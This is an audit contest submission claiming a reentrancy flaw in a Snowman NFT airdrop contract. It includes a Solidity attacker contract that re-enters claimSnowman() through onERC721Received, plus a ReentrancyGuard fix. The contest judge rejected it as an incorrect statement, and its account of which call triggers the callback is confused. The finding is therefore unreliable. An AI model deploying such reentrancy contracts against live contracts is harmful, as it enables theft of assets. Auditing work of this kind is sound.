Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Reentrancy Vulnerability in claimSnowman() Allows Multiple NFT Claims

Root + Impact

Description

  • The claimSnowman() function in SnowmanAirdrop.sol allows users to claim Snowman NFTs by providing valid merkle proofs and signatures

  • The function performs external calls (safeTransferFrom and mintSnowman) before updating state variables, creating a reentrancy vulnerability that allows attackers to claim multiple NFTs in a single transaction

// SnowmanAirdrop.sol:84-92
@> i_snow.safeTransferFrom(receiver, address(this), amount);
// ... other operations ...
@> i_snowman.mintSnowman(receiver, amount);

Risk

Likelihood:

  • The external call to safeTransferFrom triggers the receiver's onERC721Received callback before state updates complete

  • Attackers exploit this callback to re-enter the claimSnowman function and drain NFTs

Impact:

  • Attackers claim multiple NFTs in a single transaction by exploiting the reentrancy vulnerability

  • The airdrop pool becomes depleted rapidly, preventing legitimate users from claiming their allocated NFTs

Proof of Concept

The attack exploits the reentrancy vulnerability in claimSnowman() by implementing a malicious onERC721Received callback. When mintSnowman() calls _safeMint(), it triggers the receiver's onERC721Received() function, allowing the attacker to re-enter claimSnowman() before the first call completes.

Attack Flow:

  1. Attacker obtains valid merkle proof and signature for the airdrop

  2. Attacker deploys ReentrancyAttack contract

  3. Attacker calls attack() with valid credentials

  4. SnowmanAirdrop.claimSnowman() validates the claim and calls mintSnowman()

  5. mintSnowman() calls _safeMint(), which triggers ReentrancyAttack.onERC721Received()

  6. onERC721Received() immediately re-enters claimSnowman() with the same credentials

  7. Steps 4-6 repeat 10 times before the counter limit is reached

  8. The attacker successfully claims 10 NFTs in a single transaction

// Attacker contract
contract ReentrancyAttack {
SnowmanAirdrop public airdrop;
uint256 public counter;
bytes32[] public storedMerkleProof;
uint8 public storedV;
bytes32 public storedR;
bytes32 public storedS;
constructor(address _airdrop) {
airdrop = SnowmanAirdrop(_airdrop);
}
function attack(
bytes32[] calldata merkleProof,
uint8 v,
bytes32 r,
bytes32 s
) external {
storedMerkleProof = merkleProof;
storedV = v;
storedR = r;
storedS = s;
airdrop.claimSnowman(address(this), merkleProof, v, r, s);
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external returns (bytes4) {
if (counter < 10) {
counter++;
// Re-enter and claim again
airdrop.claimSnowman(address(this), storedMerkleProof, storedV, storedR, storedS);
}
return this.onERC721Received.selector;
}
}

Expected Result: The attacker receives 10 NFTs instead of the intended 1 NFT allocation. If 1,000 users are eligible for the airdrop with 1,000 NFTs total, 10 attackers can drain the entire pool, leaving 990 legitimate users with nothing.

Recommended Mitigation

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract SnowmanAirdrop is EIP712 {
+ contract SnowmanAirdrop is EIP712, ReentrancyGuard {
// ... existing code ...
}
function claimSnowman(
address receiver,
bytes32[] calldata merkleProof,
uint8 v,
bytes32 r,
bytes32 s
)
external
+ nonReentrant
{
// ... existing code ...
}

Add OpenZeppelin's ReentrancyGuard contract and apply the nonReentrant modifier to the claimSnowman function. This prevents recursive calls and protects against reentrancy attacks.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!